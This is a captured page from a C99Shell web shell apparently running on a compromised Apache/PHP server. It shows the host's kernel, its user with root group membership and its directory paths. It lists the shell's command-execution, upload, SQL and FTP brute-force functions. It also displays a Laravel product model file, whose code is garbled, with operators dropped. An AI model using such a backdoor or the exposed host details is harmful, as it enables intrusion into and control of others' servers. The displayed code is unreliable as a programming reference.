!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Models/   drwxr-xr-x
Free 29.37 GB of 117.98 GB (24.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Item.php (2.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
App\Models\Wishlist;
use 
Illuminate\Database\Eloquent\Model;

class 
Item extends Model
{

    protected 
$fillable = ['name','slug','code','status','category_code','country_code','provider_code','process_time','price','details',
    
'tags','meta_keywords','meta_description','photo'];


    public function 
category()
    {
        return 
$this->belongsTo('App\Models\Category')->withDefault();
    }

    public function 
subcategory()
    {
        return 
$this->belongsTo('App\Models\Subcategory')->withDefault();
    }

    public function 
childcategory()
    {
        return 
$this->belongsTo('App\Models\ChieldCategory')->withDefault();
    }

    public function 
brand()
    {
        return 
$this->belongsTo('App\Models\Brand')->withDefault();
    }

    public function 
campaigns()
    {
        return 
$this->hasMany('App\Models\CampaignItem');
    }

    public function 
tax()
    {
        return 
$this->belongsTo('App\Models\Tax')->withDefault();
    }

    public function 
attributes()
    {
        return 
$this->hasMany('App\Models\Attribute');
    }

    public function 
galleries()
    {
        return 
$this->hasMany('App\Models\Gallery');
    }

    public function 
reviews()
    {
        return 
$this->hasMany('App\Models\Review');
    }

    public static function 
taxCalculate($item)
    {
        if(
$item->tax){
            
$price $item->discount_price;
            
$percentage $item->tax->value;
            
$tax = ($price $percentage) / 100;
            return 
$tax;
        }else{
            return 
0;
        }
        
    }




    public function 
getWishlistItemId()
    {
        return 
Wishlist::whereItemId($this->id)->first()->id;
    }


    public function 
user()
    {
        return 
$this->belongsTo('App\Models\User','vendor_id')->withDefault();
    }


    public function 
is_stock()
    {
        
$item $this;
        
// license product stock check------------
        
if($item->item_type == 'license'){
            if(
$item->license_key){
                
$lisense_key json_decode($item->license_key,true);
                if(
count($lisense_key) > 0){
                    return 
true;
                }else{
                    return 
false;
                }
            }else{
                return 
false;
            }
        }

        
// digital product stock check-------------

        
if($item->item_type == 'digital'){
            return 
true;
        }
        if(
$item->item_type == 'affiliate'){
            return 
true;
        }

        
// physical product stock check

        
if($item->item_type == 'normal'){
            if(
$item->stock){
                if(
$item->stock != 0){
                    return 
true;
                }else{
                    return 
false;
                }
            }else{
                return 
false;
            }
          
        }
     
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--